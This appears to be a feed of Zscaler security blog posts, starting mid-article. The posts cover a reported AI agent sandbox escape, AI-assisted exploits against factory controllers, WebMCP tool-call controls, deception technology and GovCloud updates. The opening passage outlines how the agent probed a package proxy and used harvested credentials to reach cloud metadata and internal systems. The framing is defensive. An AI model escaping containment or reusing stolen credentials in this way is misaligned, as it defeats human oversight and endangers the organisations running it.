connects to any service without an identity-verified, policy-approved reason, and applications not published to a workload don't exist for it. A vulnerability only matters relative to what it can reach.4. Least-privilege data posture, continuously enforcedHarvested credentials powered the final stages. Credentials found on a compromised node reached cloud metadata and the internal supply chain; under enforced least privilege, they would have reached that node's blast radius and stopped. Continuous discovery makes that enforceable: where sensitive data lives, which identities can touch it, and which credentials are over-scoped. It determines whether a stolen credential is a skeleton key or a dead end.5. Governance for the agents themselves. Autonomous agents communicating over MCP and agent-to-agent channels are invisible to controls built for human users and predictable service traffic. That needs a policy enforcement point between agents and everything they touch: a registry of which agents exist, what each is permitted to reach, and inline enforcement when behavior leaves the defined envelope. An agent that starts probing a package proxy should trip a wire, not a headline. Why the Capabilities Only Work TogetherHere's the asymmetry. The attack needed every link in its chain to hold. The defense needs one — egress denied, payload detonated, segment closed, credential scoped, agent flagged — and the chain breaks.So why insist on all of them? Because an autonomous agent isn't a one-shot attacker. It retries. It searches. Hugging Face's forensic timeline groups the agent’s 17,600 recorded actions into roughly 6,280 distinct clusters across four days, and OpenAI describes the escape as consuming substantial inference compute. Against an adversary whose patience is measured in compute rather than hours, one control is a puzzle. Layered controls are a wall.Egress control assumes the sandbox will eventually be escaped. Segmentation assumes inspection will eventually miss a payload. Data posture assumes a workload will eventually be compromised. Each layer exists because the one before it is permitted to fail.This is also why the capabilities belong on a common platform rather than in a stack of point products. Stitched-together tools each see one frame. A unified enforcement plane sees the film. The Questions To Ask This QuarterThe July incident was, in a strange way, a gift: a full-fidelity red-team exercise run by a frontier lab, disclosed transparently, with limited damage. Enterprises deploying AI agents will not always get the benign version.Security leaders should be able to answer four questions with specifics, not aspirations. What governs internet egress for your AI training, evaluation, and agent runtime environments — is it deny-by-default, and can you name every external endpoint those environments reached last week?What inspects the datasets, packages, and model artifacts your pipelines execute — and does that inspection complete before execution, or after?If a workload in that stack is compromised today, how far does it get — pod, cluster, cloud account, database — and can you prove it stops early?Do you know, right now, which AI agents exist in your environment, what each one is permitted to touch, and what happens the moment one steps outside that envelope?Two frontier AI companies just learned the answers to those questions the hard way, in public, with the world's most capable models as the pen-testers. The rest of us get to learn from their disclosure instead.Want to learn more? Speak to our experts here.

It No Longer Takes an Expert to Attack a Factory

Bryan Ashley (Zero Trust Networking, Principal Architect) — Thu, 27 Aug 2026 16:32:03 GMT

Factories have never lacked attackers. Manufacturing has sat at or near the top of the attacked-industry rankings for years, and every plant leader has seen the ransomware headlines. But nearly all of it lands on the business side of the company - email, file servers, the systems that run the enterprise rather than the line.The factory floors themselves were a different story. Writing a working exploit for an industrial controller - the small computers that open valves, run motors, and keep production lines moving - was specialist work. You needed to understand the protocol, the firmware, the quirks of a product family most software people have never touched. That knowledge was scarce, and the scarcity was a form of protection. An attacker who got into the business network usually stopped there - not out of restraint, but because going further took skills few people had.That protection is dissolving. In April, Anthropic disclosed that its Claude Mythos model could take on much of the work of finding security flaws and turning them into working attacks - a capability the company restricted to vetted organizations rather than releasing broadly. Since then, published research has shown AI turning a released patch into a working exploit in hours. And open-weight models that anyone can download are estimated to trail that capability by only a few months.On August 19, this stopped being a research story. A joint advisory from NSA, CISA, FBI, DOE, and EPA - AA26-231A - documented an active campaign using AI-generated scripts against Siemens S7 series controllers, disguised as monitoring tools. It is the first federal confirmation of AI-assisted exploit development targeting operational technology. CISA is explicit that the targeting is broader than one vendor: everyone running these controllers should assume they are in scope.Put those together and the trend is hard to miss. The scarce skill that stood between the attacker in the business network and the machines on the floor is no longer scarce. What used to require a specialist now requires merely a subscription. Why the plant can't just patch fasterFor years, the standard answer to faster attackers was faster patching. Shrink the time between a fix coming out and the fix being installed. Whole industries organized themselves around that race - automatic updates, staged rollouts, patch Tuesdays.AI is ending that race even where it was winnable. When a fix published on Monday can be a working attack by Tuesday, no patch cycle is short enough - and IT teams with modern tooling and weekly change windows are feeling that squeeze right now.The plant floor was never in the race to begin with, and the reason is physical, not cultural. Walk through a factory and much of what you see has been running for ten or twenty years. It runs reliably in large part because nobody touches it. Change one piece and you put the whole line at risk, because everything downstream depends on it. "If it ain't broke, don't fix it" is the operating rule out there, and it earned its place.And keep in mind what these places actually do. They make our food and medicine. They deliver our power and water. They build our cars. Stopping a line for an afternoon costs real money. A change that goes wrong and stops it for a week is the kind of event careers end over. So changes wait for planned maintenance windows, a handful of times a year, when the line is already down. Plants do patch - they simply patch on that schedule. If attackers have found a faster way to write exploits, changing that schedule is not a simple ask; every added window is a negotiation with production, with vendor support terms, and weighing the risk of stopping the line.So the gap is widening from both ends. Attacks are getting faster everywhere, and the plant was never built to move fast at all. Any defense built on the plant getting quicker is built on something that won't happen. "But our plants aren't on the internet"Mostly true - but it still misses where the risk lives.The plant as a whole is usually isolated, and deliberately so. But individual pieces of it often aren't, and almost always for a reason that made sense at the time. The chiller vendor needed remote access for service calls, so a connection was set up. A machine builder shipped equipment with a cellular modem for support monitoring. An integrator left a remote link in place after commissioning and nobody took it out. Each one was a practical decision. Nobody was keeping the list.Some of those pieces end up directly visible from the internet. Research Forescout published on August 5 counted 4,407 Rockwell/Allen-Bradley controllers answering directly from the internet worldwide, 65% of them in the US - one vendor's platform, counting only the directly visible end of the problem.The rest of the risk arrives indirectly. A controller doesn't need its own internet connection to be reachable - it needs a path from something that does. Most plant networks are flat - one big open floor where everything can talk to everything - a sensible choice when it was made: simple networks are predictable, predictable means dependable, and dependable means always up. The cost shows up when something hostile gets in and inherits that same simplicity. The scripts described in AA26-231A were disguised as monitoring tools - software that would look routine on exactly these networks.So the question that matters isn't whether the plant is on the internet. It's how many of those connections exist, where they lead, and what happens when a bad actor gets access to them. Won't AI help defenders too?If controllers can't be fully isolated, the next hope is that the technology creating this problem can help solve it. Partly, it can.NIST's SP 1353, a quick-start guide released in draft on August 19, shows how to use AI for Cybersecurity Framework 2.0 analysis, planning, and reporting. It is genuinely useful. It will help teams find gaps faster, document faster, report faster. What it does not do is solve for the maintenance window.Defender-side AI, so far, speeds up the parts of the job that were never the bottleneck in a plant. The bottleneck is that fixing things means touching production, and touching production carries downtime risk that no analysis tool removes. AI hands attackers the thing they were short of - the skill to write exploits. It does not hand factory defenders the thing they are short of, which is safe chances to touch the machines.Both sides get AI. Only one side's constraint dissolves. The defense that doesn't care how fast the exploit was writtenYou cannot slow down how fast exploits get written. You cannot safely speed up how fast the plant changes. What you can control is the number in between: how many things can reach a controller in the first place.An exploit written in hours and an exploit written over months have identical value against a controller they cannot reach. Shrink that set and you have cut your exposure to every exploit against it - the ones published, the ones being generated right now, and the ones that don't exist yet. It is the rare defense whose value goes up as attacker capability goes up, because it doesn't compete on speed. It removes the race entirely.The two problems named earlier are the two places to shrink it. The flat network is answered by shrinking each machine's world. The traditional way to do that meant carving the plant into zones - a project that touches everything. What's possible now is finer and far lighter. Picture a switchboard on the plant floor: every device connects to it and to nothing else. When one machine needs to talk to another, the request goes to the switchboard, which checks who is asking and whether an approved reason exists for that conversation - and connects them only if one does. Every device starts with what amounts to a network of its own, able to reach the handful of systems it has an explicit reason to reach and nothing else. All of it happens locally, on the floor - no rewiring, no new addresses, nothing installed on the machines. A foothold - an infected workstation, a compromised vendor laptop - lands in a room of one instead of an open floor.The one-off connections are answered by the same switchboard, taking calls from outside. The chiller vendor no longer holds a standing line into the plant: they call in, the switchboard verifies who they are, and it connects them to the one system they service - for that session, and nothing else. No direct inbound path to a controller exists at all. This is easier on everyone, not harder. The vendor has nothing to install or maintain; access simply works when they need it. And because every connection now passes through one place, the list nobody was keeping starts keeping itself - every vendor, every link, visible and auditable by the security team. The floor keeps everything it legitimately needs; what changes is what those connections can reach, and who can see them. Neither move requires taking a line down, which is exactly why they work at plant change speed. This is the thinking behind Zscaler's approach to OT - my colleague Amit Aneja's recent post, Securing the Unsecurable: OT, IoT, and the Factory Floor, walks through what it looks like in practice on the plant network.None of it fixes a vulnerable controller. The flaw is still there, and patching within the windows the plant can support still matters. What architecture changes is the size of what's left - fewer paths for an exploit to use, fewer places a stolen credential can go, and a record of every connection when something needs investigating.The hard part of the attack got easy. The hard part of the defense - changing a running plant - did not, and will not. And you cannot decide what the switchboard should allow until you know what talks to what today - so the place to start is knowing what can reach your controllers, and that is a map, not a plant change. It is the work we do in an OT architecture workshop.

Zscaler WebMCP Security Controls: Bringing Zero Trust to the Agentic Web

Joby Menon (SVP, Product Management | Zscaler) — Thu, 27 Aug 2026 00:08:36 GMT

We are excited to announce WebMCP Security Controls (Web Model Context Protocol) in the Zscaler Zero Trust Browser. This solution extends the zero-trust framework, traditionally applied to human web activity, to secure the automated tool calls made by AI agents directly within the browser via the emerging WebMCP standard.WebMCP is a proposed web standard available in Chrome Origin Trials. WebMCP lets websites expose structured, typed JavaScript functions and annotated HTML forms as callable tools for AI agents. An in-page AI agent can then list those tools and invoke them programmatically, i.e. get_cart, update_cart, search_flights, submit_payment. No clicking, no navigating, no leaving the page. It’s a useful primitive, which is why we started paying attention to it.This post covers why we built the product, where the control point needs to sit for this new interface, how it works, and three short demos from a real customer scenario. Where the Control Point SitsThe Zscaler Zero Trust Browser Extension runs inside the Chrome browser, on the same layer as the WebMCP APIs themselves. That placement is deliberate. It lets us evaluate every tool call before the site’s handler ever runs.There are two points in the WebMCP lifecycle where this matters. The first is registration: when a site declares its tools, the extension enumerates them before the agent has any way to invoke them. The second is invocation: when the agent actually calls a tool, we inspect the full argument payload and evaluate its policy . If the policy says block, the site’s function is never called at all. Nothing runs, no state changes, nothing goes out. The agent is then told the call failed in a way the user can see, so there’s no silent failure.Because The Zscaler Zero Trust Browser Extension sits at that point in the flow, the outcome doesn’t hinge on what’s in the path. There’s no downstream tool to depend on and no cooperation required from the site. The decision happens at the moment the tool call is being made, on the layer before anything else has a chance to react to it. How WebMCP Security Controls workWebMcp security was specifically developed for this in-page layer, using the same zero-trust principles as the rest of the Zscaler platform. The Zero Trust Browser Extension that customers are using to secure their Chrome browsers now also secures the WebMCP layer, and gives customers three additional capabilities on top of it.1. WebMCP Capability DiscoveryThe moment a user (or their agent) loads a WebMCP-enabled site, the The Zero Trust Browser Extension enumerates every tool the site registers, before a single one can run. Seven attributes are captured on each tool:webmcp.tool.name: the identifier the site exposedwebmcp.tool.description: the natural-language description the site declaredwebmcp.tool.arguments: the JSON payload passed at invocation timewebmcp.tool_count: how many tools the site registered in totalwebmcp.tool.provider_origin: the origin that actually registered the toolwebmcp.tool.is_cross_origin: whether that origin differs from the top-level sitewebmcp.tool.has_untrusted_content_hint: a signal that the tool’s output may contain untrusted contentThis creates a structured inventory of the agentic surface, specific to every site and user. This is a view security teams simply haven’t had before, mostly because the layer it describes is new.2. WebMCP Runtime MonitoringWhile discovery tells you what a site can do, Runtime Monitoring tells you what it actually did. While the user is on the page, the extension captures every tool invocation with full context: the seven attributes above, plus user identity, device posture, extension version, browser, IP, geolocation, and URL. Each event lands in the Zscaler admin console as a detection, in the same event stream as the rest of the platform’s telemetry. Searchable, filterable, exportable.That’s what makes agent activity auditable. If something anomalous happens, you know which agent made the call, on whose behalf, on which device, and what it passed as arguments. Not just that someone’s browser touched the site.3. WebMCP Policy EnforcementVisibility on its own doesn’t change outcomes, which is why inline policy enforcement is so critical. Policies apply in real time, match to any of the seven WebMCP attributes, and land on one of three effects:Allow: Call proceeds normally.Monitor: Call proceeds, but is logged as a detection with full context. This is a good starting posture.Block: Call is stopped at the point of invocation. The agent is told the call failed, and that message shows up in the agent’s own reply to the user.Rules can match on tool identity (kill a whole capability), on argument content (kill specific payloads that carry restricted data), on provider origin (be stricter about cross-origin tool providers), or on the untrusted-content hint (treat outputs from lower-trust sources differently).Figure 1. Registration and invocation are both intercepted inside the page. Every attribute is captured, every call is policy-evaluated inline, every decision is logged with full user and device context.Together the three capabilities cover the questions we usually get from security teams the first time they see WebMCP: what tools are on our sites, what are agents actually doing with them, and what do we want to allow? Zero trust has always been about answering these kinds of questions. Now we get to answer it for agents on the web too.Figure 2. The seven attributes on the left are what every policy rule can match against. The two rules on the right are the ones used in the demos below. See it in ActionThe three short demos below all run against the same site, a retailer with an in-page AI shopping assistant, and the same user. The only thing that changes between them is the policy. This is roughly the sequence we recommend to our customers– start in monitor mode, learn what’s actually happening, then add targeted blocks where you need them.1. Monitor mode: see the surface before you change itMost teams start here. In monitor mode, every tool registration and invocation is captured and logged without blocking a single action. While your users won't notice a thing, your security team gets two key benefits: a complete inventory of the agentic surface across every site visited, and a fully searchable audit trail of every tool call that occurs.In the demo below, the assigned policy is called Monitor WebMCP and runs in passthrough mode with all seven webmcp.* attributes enabled. The user opens the retailer’s site, launches the in-page agent, and asks “what’s in their cart”. The agent calls get_cart and answers in real time. On the admin side, each interaction shows up as a new detection with severity Informational and effect Allow. Clicking into one gives you the full record, including user identity, device posture, IP, geolocation, URL, tool name, tool description, and tool count. The Monitor WebMCP policy in the Zscaler admin console: all seven webmcp.* attributes wired up as monitor rules, default effect Allow.The Detections view streams every WebMCP interaction as an Informational / Allow entry, in the same stream security teams already use for user activity.A single detection carries the full forensic record: user identity, device posture, IP, geolocation, URL, and the Webmcp Tool Name, Description, and Count the site declared.Monitor mode is not designed to immediately block threats. Instead, it establishes an essential baseline of "ground truth" before security teams begin enforcing block rules. By first understanding exactly which tools users are invoking, on which domains, and with what arguments, organizations can make highly informed policy decisions rather than blocking traffic blindly.2. Blocking a tool: kill the capabilityOnce you know what agents are calling, the next step is deciding what you don’t want them calling. The simplest kind of block rule targets a tool by name. In this demo, the policy switches to Block WebMCP with a single condition: webmcp.tool.name is equal to update_cart. Any invocation of that tool, with any arguments, on any site the policy covers, gets stopped at the point of call.On the user side, this is visible in real time. The user asks the agent to add an item to their cart. The agent tries to call update_cart. The extension intercepts it, matches the rule, and returns a block. The agent then tells the user directly: "The Zscaler Zero Trust Browser blocked this action for security reasons." Nothing is silent. The user knows what happened, and the SOC sees a new detection show up with severity Low, effect Block, and the exact rule reason: webmcp.tool.name is equal to UPDATE_CART. The block surfaces inside the agent’s own reply, so the user gets a clear reason instead of a mysterious failure.A new Low-severity Block WebMCP row appears at the top of the Detections list, alongside the ongoing Informational / Allow stream from Monitor mode.The detection detail carries the exact rule that fired: Reason: webmcp.tool.name is equal to UPDATE_CART. Analysts get the "why" without leaving the console.Blocking by tool name is the right control when a capability is just out of scope for a given user group. A marketing team’s agent does not need to invoke submit_payment. A support team’s agens does not need to invoke export_customer_pii. One rule per capability, applied to the right group.3. Blocking on arguments: DLP for the agentic layerSometimes the tool itself is fine and the problem is the payload. That’s what argument-level inspection is for. Instead of matching on tool name, this rule matches on the JSON arguments the agent passes to the tool: webmcp.tool.arguments contains "book". Every update_cart call is still evaluated. Only the calls whose payload contains the restricted keyword get blocked.In the demo, the user asks the agent to list available products. The agent calls browse_store, which is allowed, and returns a catalog. Two items in it are relevant here: a Hammer Time Graphic Tee and a Book Cat Graphic Tee. The user asks to add the Hammer Time tee first. The argument payload contains hammer-time-graphic-tee, no match on the rule, the call goes through. Then the user asks to add the Book Cat tee. Now the payload contains book-cat-graphic-tee-apple-blossom-26f12103, which does match on book. The call gets blocked, and the agent tells the user: "The Zscaler Zero Trust Browser blocked this action for security reasons, so I am unable to add the ‘Book Cat Graphic Tee’ to your cart." Meanwhile the detection in the console has captured the entire argument payload, verbatim. Same tool, different payload, different outcome. The user asks for the Book Cat Graphic Tee; the argument matches the deny rule; the agent surfaces the block inline.The console captures the argument payload verbatim: {"cart":{"line_items":[{"handle":"book-cat-graphic-tee-apple-blossom-26f12103","quantity":1}]}}. That’s what makes agent activity correlatable with the actual data flow, not just the tool that was called.Argument-level inspection is what makes WebMCP Security Controls feel like DLP for the agentic layer. Regex patterns for PII, deny-lists for customer names or project codenames, structural checks on JSON payloads: the same primitives enterprises already trust for traditional DLP, now applied to what agents are passing into websites. The full round-trip of a blocked call looks like this:Figure 3. The full round-trip of a blocked call. The extension inspects arguments in flight, blocks the invocation, surfaces the failure back to the user through the agent’s reply, and logs the exact rule reason. Why We Didn’t Want to Wait on ThisA few things convinced us this had to ship now rather than later.WebMCP adoption will move faster than governance. The standard is already adopted in Chrome Origin Trials . Every site running an in-page AI assistant has a fairly short path to shipping WebMCP tools. Every agent that talks to those sites has an incentive to use them. When a new web capability lands in a mainstream browser, adoption usually compresses from years to months. It’s much easier to put controls in place before that curve as opposed to waiting until after the first incident.Agents act under user identity. A tool call inherits the user’s session, cookies, and authorization, but the intent behind it comes from a model. That’s an audit and governance problem long before it’s a security one. Which agent made this call, on whose behalf, with what payload? Those questions become answerable at the WebMCP layer, at runtime, using the attributes and context the extension already captures.Productivity can’t be the tradeoff. Blocking in-page AI assistants outright isn’t really a viable answer. Employees are already using them and are going to use them, and the productivity gains are real. A control that lives at the WebMCP layer means users keep the benefits of agentic browsing while the enterprise still gets a say in what those agents are actually allowed to do.We’ve seen this pattern before. Zero trust replaced castle-and-moat once perimeters started dissolving. Zero trust followed the work again as it moved to cloud and SaaS. Agentic browsing is the same story one layer deeper, and it’s a lot easier to put controls in place while the agentic surface is measured in a handful of tools per site rather than dozens. What’s NextWebMCP Security Controls are available today in the Zscaler Zero Trust Browser. If you want to see your own users’ agentic surface, reach out to your account team for a demo or visit the product page. Most teams are surprised by what their first monitor-mode report turns up.This is just one of many innovations for the Zero Trust Browser for securing AI and AI Agents. Stay tuned for more and frequent innovations introduced in Zero Trust Browser , the most comprehensive and complete Zero Trust Browser Security product in the market.

Human + AI: How Our Product Managers Innovate with AI

Zscaler Life (Zscaler) — Wed, 26 Aug 2026 22:29:05 GMT

The future of work is Human + AI. By treating AI as a core teammate, we empower our teams to eliminate routine friction and accelerate execution. Recently, we sat down with Caleb Harris, a Product Manager, to discuss how they use AI as a daily co-pilot. From custom-built agents that accelerate product roadmaps to safe experimentation in specialized domains, here is an inside look at our AI-native ways of working.Q: Can you share an example of how you're using AI in your day-to-day work, and what problem it helps you solve?A: In Global Business Systems Support, delivering enterprise-grade solutions hinges on cohesively sequenced, complex product roadmaps and the prescriptive Product Requirement Documents (PRDs) behind them. To accelerate this PRD cycle, I built an agent called the 'PRD Professor.' The AI agent serves as a co-pilot for co-creation. It handles the heavy lifting of data synthesis and rapid scenario simulation, while I provide the uniquely human elements: strategic intuition, stakeholder empathy, and contextual judgment. By compressing the friction between design and execution, I can bring multiple iterated solutions to the table in a fraction of the time. This directly reduces business costs while driving much faster value delivery for my customers.Q: How has Zscaler supported you in experimenting with AI or building new AI-powered solutions?A: Zscaler actively fosters an environment of co-elevation by providing business users like me with top-tier models and tools. This allows us to not only experiment with AI but to deploy safe, secure solutions that drive initiatives tied to real-time business objectives.The learning opportunities here are ever-present. Zscaler's support ecosystem includes:Vibrant Internal Communities: We have active groups across Slack and other platforms to connect with builders from all domains, cultivating a diverse and collaborative ecosystem.Company-Wide Workshops: There have been several opportunities to participate in large-scale, broadcasted workshops.A Culture of Commitment: We actively build strong, collaborative relationships that ensure everyone is supported and empowered to succeed. It's a true reflection of being committed to each other. Ready to shape the agentic future of cybersecurity with speed and intentionality? Explore open opportunities: zscaler.com/careers

What to Look for in a Deception Technology Solution

Matt McCabe (Senior Web Content Writer) — Wed, 26 Aug 2026 17:06:19 GMT

Modern security teams face an uncomfortable reality: perimeter defenses are no longer sufficient. According to the 2026 Verizon Data Breach Investigations Report (DBIR), stolen credentials remain a primary breach vector, and modern attackers move laterally with extreme speed once inside. Compounding this, traditional security tools generate noisy alerts, resulting in severe alert fatigue.To detect threats early, organizations are adopting deception technology. A deception technology solution is a proactive approach that places decoys, lures, and traps across the environment to detect malicious activity early. Rather than replacing EDR, NDR, or Zero Trust controls, deception acts as a critical complementary layer. This guide outlines the key features and evaluation criteria to help you select the right solution. What Is a Deception Technology Solution?Cyber deception is a defensive strategy that deploys realistic, non-production assets, such as fake credentials, servers, files, shares, and applications, to mislead attackers. Legitimate users should never touch these assets. If they do, it signals credential compromise or malicious insider activity, both of which merit investigation.This proactive defense is supported by frameworks like and NIST guidelines, which advocate for adversary engagement to build enterprise resilience. MITRE Engage Framework recommends deploying decoys on trusted systems; NIST SP 800-61 calls for detection techniques beyond signatures.Deception AssetDescriptionExampleDecoysSimulated systemsFake database serverLuresBaits placed on endpointsFake credentialsAD TrapsDirectory objectsDecoy administrator accounts How Deception Technology WorksDeception platforms automatically distribute lures across endpoints using policy-based rules; no manual deployment per device."When an attacker compromises a device and searches for lateral paths, they discover these lures (e.g., deceptive mapped drives or SSH keys). Engaging with a lure directs them to a decoy system. Probing the decoy triggers a high-fidelity, context-rich alert, minimizing dwell time and stopping lateral movement before production assets are impacted.Further emphasizing the need for deceptive traps, the Zscaler ThreatLabz 2026 Phishing and Initial Access Report found that 95.2% of phishing and initial access attempts now hide inside encrypted (TLS/SSL) traffic. Because legacy security tools often lack visibility into encrypted channels, placing high-fidelity decoys and lures across endpoints and cloud assets creates an unmissable alarm system when adversaries attempt to leverage compromised access. Deception Technology vs. Traditional HoneypotsModern deception evolved from honeypots, but they are fundamentally different:FeatureHoneypotsModern DeceptionScaleStatic, manualDistributed, automatedScopeNetwork segmentsEndpoints, cloud, identityManagementHigh maintenanceCentralized, policy-drivenIntegrationSiloedIntegrated with SIEM, SOAR, EDR Why Organizations Use Deception TechnologyDetect Attackers EarlyDeception catches attackers during reconnaissance, privilege escalation, and lateral movement. It is uniquely suited to detect "living off the land" techniques where attackers use built-in administrative tools that bypass traditional signature-based EDR, dramatically improving containment times.Reduce Alert FatigueDeception alerts are high-fidelity when decoys are placed in zones where legitimate traffic never flows. A decoy SMB share in a vaulted segment has zero false positives; one on a general subnet may not.Improve Visibility Into Lateral Movement and RansomwareDeception detects file share scanning (a precursor to encryption) by triggering alerts when attacker-controlled processes probe decoy shares, alerting security teams within minutes of reconnaissance.This early-stage visibility is critical given the sheer volume of adversary probing. According to the Zscaler ThreatLabz 2026 Phishing and Initial Access Report, deception telemetry recorded 89.9 million hostile interactions from 1.37 million unique attacker IPs in a six-month span alone. This highlights that attackers are actively scanning identity and collaboration platforms to map potential paths long before launching a targeted intrusion. Core Features to Look for in a Deception Technology SolutionWhen evaluating deception technology, prioritize the following foundational capabilities:Key FeatureDescriptionEvaluation CheckBelievable DecoysMust run realistic services to deceive advanced attackersDo decoys respond dynamically?Broad CoverageMust protect hybrid endpoints, cloud, and Active DirectoryDoes it support SaaS decoys?AutomationAutomated deployment, updates, and low overhead are essentialCan it deploy endpoint lures automatically?Rich ContextAlerts must provide deep telemetry (user, process, and timeline)Does it map to MITRE ATT&CK?IntegrationsMust connect natively to SIEM, SOAR, and EDR platformsCan it trigger an automated response?Low OverheadMust not degrade endpoint performance or cause noiseIs it agentless? Evaluation Criteria: Comparing SolutionsTo select a platform that scales, use these five key criteria:Evaluation CriterionDescriptionKey FocusEase of DeploymentSoftware-defined or agentless deliveryDeploys globally in minutes without complex hardwareCoverage DepthProtects hybrid endpoints, AD, and cloudAddresses surfaces where credential abuse is prevalentDetection QualityEnriches alerts with rich telemetryDistinguishes automated scanning from targeted movementEnterprise ScalabilityCentralized policy administrationSeamlessly supports remote workforces and cloud growthExecutive VisibilityMeasures risk reduction and metricsShows how deception shortens MTTD and MTTR Common Use Cases & What to AvoidModern enterprises leverage deception to solve critical security challenges while avoiding costly operational pitfalls:Common Use CasesCritical Pitfalls to AvoidCredential Protection: Surfacing stolen admin credentials used to access fake directory servicesStatic Decoys: Easily fingerprintable decoys are quickly bypassed by sophisticated actorsLateral Detection: Catching attackers as they probe decoy file shares or scan network segmentsNetwork-Only Focus: Solutions lacking cloud and remote endpoint coverage leave massive blind spotsRansomware Defense: Tripping decoy shares to flag encryption behaviors before damage occursSiloed Alerting: Solutions without native SOAR/SIEM integrations slow down responseThreat Hunting: Providing high-fidelity leads that analysts can pivot from to uncover threatsHigh Maintenance: Platforms requiring constant manual updates drain valuable resources How Deception Fits Into a Zero Trust StrategyZero trust restricts access; deception detects when that access is abused. A compromised admin account passes zero trust's authentication check, but fails the moment it tries to access a decoy admin share.This is where Zscaler Deception excels. Integrated directly into the Zscaler Zero Trust Exchange™, it allows organizations to deploy high-fidelity decoys and lures effortlessly without adding operational complexity. Combining Zero Trust access controls with active deception enables enterprises to achieve a powerful defense-in-depth posture that proactively stops lateral movement. ConclusionThe ideal deception technology solution must be highly realistic, automated, and deeply integrated into your existing security stack. Rather than introducing noise, it provides the high-fidelity signals needed to neutralize advanced threats. By aligning deception with a Zero Trust framework, you can minimize attacker dwell time and protect your most critical assets.

What’s New in GovCloud: August 2026 Zscaler Product Updates

Jose Arvelo Negron (Manager, Sales Engineer) — Wed, 26 Aug 2026 08:14:46 GMT

Product releases move fast, and carving out time to review what's changed across multiple platforms is rarely at the top of anyone's to-do list. Here is a curated roundup of notable Zscaler GovCloud updates from August, with quick context and scan-friendly takeaways you can share across security, network, and operations teams. Highlights include WebSocket traffic inspection in ZIA, new ThreatParse detection rules for actively exploited CVEs in Deception, BGP route filtering and DNS-over-HTTPS support in Zero Trust Branch, and customizable password policies in the Authentication Service. Zscaler Internet Access (ZIA)Zscaler Internet Access (ZIA) is Zscaler's secure internet and SaaS access service, providing policy-based protection and visibility for users wherever they work. For many federal environments, ZIA is central to enforcing acceptable use, protecting sensitive data, and maintaining consistent security controls across a distributed workforce.This month's ZIA updates expand inspection coverage to WebSocket traffic, introduce resilience controls for partial configuration scenarios, and add new search filters to simplify management of large firewall rule sets.HighlightsPartial Configuration Handling Mechanism: A new "Behavior When Partial Configuration Available" setting lets admins choose how policy is enforced if a Service Edge is operating on incomplete or cached tenant/user/location data. Options include Fail Open, Fail Close, or Best Effort Policies, giving teams control over the tradeoff between availability and security posture during edge cases.WebSocket Inspection Enhancements: ZIA now inspects bidirectional WebSocket traffic for supported content, extending security and data-protection controls to these communications. This closes a visibility gap for applications that rely on persistent WebSocket connections.New Search Filters for Firewall Filtering Policy Rules: New filters have been added to the Firewall Filtering Policy page, including Rule Status, Network/Application Service Groups, Source/Destination Country, and IPv6 Groups. These make large rule sets easier to search and manage at scale.For full release notes: https://help.zscaler.us/zia/release-upgrade-summary-2026 Zscaler Private Access (ZPA)Zscaler Private Access (ZPA) provides secure, zero trust connectivity between users and private applications without exposing those applications to the internet. It helps organizations reduce attack surface while improving access experience, which is especially important for distributed users, mission partners, and hybrid work environments common across federal agencies.This month's ZPA updates deliver a recommended Manager software release and security-fix updates for both Private Service Edge and Private Cloud Controller.HighlightsManager Software Updates: Released updated App Connector, Private Service Edge, and Private Cloud Controller RPM packages for RHEL 8.x/9.x (Manager software version 26.54.6). Packages are downloadable from the Zscaler repository.Private Service Edge Version 26.54.6: A security-fix update for Private Service Edge, applied per your configured software update schedule.Private Cloud Controller Version 26.54.6: A security-fix update for Private Cloud Controller, applied per your configured software update schedule.For full release notes: https://help.zscaler.us/zpa/release-upgrade-summary-2026 Zscaler Client ConnectorZscaler Client Connector is the unified endpoint agent that steers traffic to ZIA, ZPA, and ZDX services. It ensures consistent policy enforcement regardless of where users connect from, which is critical for agencies supporting remote and hybrid workforces.This month's update addresses several Admin Console usability and functionality issues.HighlightsZscaler Admin Console 4.5.5: This release fixes device-search pagination, a device-details export timeout, a blank protocol dropdown in Experience Center, and a policy-sync issue affecting Private Access entitlement assignment. These fixes improve day-to-day administrative workflows and entitlement accuracy.For full release notes: https://help.zscaler.us/client-connector/release-upgrade-summary-2026 Zero Trust BranchZscaler Zero Trust Branch helps modernize branch security and connectivity by bringing zero trust principles to branch offices, remote sites, and OT/IoT environments, reducing reliance on legacy appliances while maintaining consistent policy enforcement.This month's Zero Trust Branch update introduces BGP route filtering, DNS-over-HTTPS support, and FIPS enablement improvements, continuing to strengthen both routing flexibility and compliance alignment.HighlightsZero Trust Branch 8.2.1P1: This release adds BGP route filtering with import/export maps, DNS-over-HTTPS configuration for Hub sites and custom DoH endpoints, FIPS enablement with NTP fixes, additional BGP policy filters, and improved App Connector auto-recovery status reporting. These enhancements give network teams more control over routing policy and encrypted DNS resolution at the branch.For full release notes: https://help.zscaler.us/zero-trust-branch/release-upgrade-summary-2026 Zscaler DeceptionZscaler Deception deploys decoys and lures across environments to detect lateral movement, credential theft, and attacker reconnaissance. For federal organizations, deception adds an active defense layer that can identify adversary activity early in the kill chain without relying solely on signature-based detection.This month's Deception updates deliver new detection rules for actively exploited vulnerabilities, enhanced network fingerprinting in event logs, and an expanded decoy dataset for network appliances.HighlightsNew ThreatParse Rules: Added detection rules for several actively relevant CVEs, including unauthenticated RCE in Langflow, an unauthenticated file-write flaw in Splunk, a PHP code-injection issue in Everest Forms Pro, and vulnerabilities affecting Fortinet FortiClient EMS, Ivanti Endpoint Manager, Ivanti Sentry, and Cisco Secure Firewall Management Center. These rules help identify adversaries leveraging current exploit techniques.Admin Portal Enhancements: Event logs now support JA3/JA4 network fingerprints for web decoys, and web server banners for network and Threat Intelligence decoys were updated for improved accuracy. This strengthens forensic context and decoy realism.New Datasets: Added a new high-interaction Cisco ASA dataset, expanding decoy coverage for network security appliances and improving detection fidelity for attackers targeting perimeter infrastructure.For full release notes: https://help.zscaler.us/deception/release-upgrade-summary-2026 Authentication Service (Zidentity)The Zscaler Authentication Service (Zidentity) provides centralized identity and access management for the Zscaler platform. It supports authentication policies, MFA enforcement, and user lifecycle controls that help agencies meet identity-centric zero trust requirements.This month's update introduces customizable password policies for stronger credential hygiene.HighlightsCustomize Password Policy: Admins can now configure account deactivation after a set number of unsuccessful login attempts and reject a configurable number of previously used passwords. Both settings are customizable from 3 to 10, supporting compliance with organizational and federal password policy standards.For full release notes: https://help.zscaler.us/zidentity/release-upgrade-summary-2026 ConclusionWant the full details? Use the links above to review the complete release summaries, and check back next month for the next GovCloud update roundup.Zscaler continues to invest in a robust GovCloud roadmap and remains committed to supporting the unique security, compliance, and operational requirements of the federal market. We'll keep delivering enhancements that help agencies and federal partners strengthen resilience, simplify operations, and advance mission success.

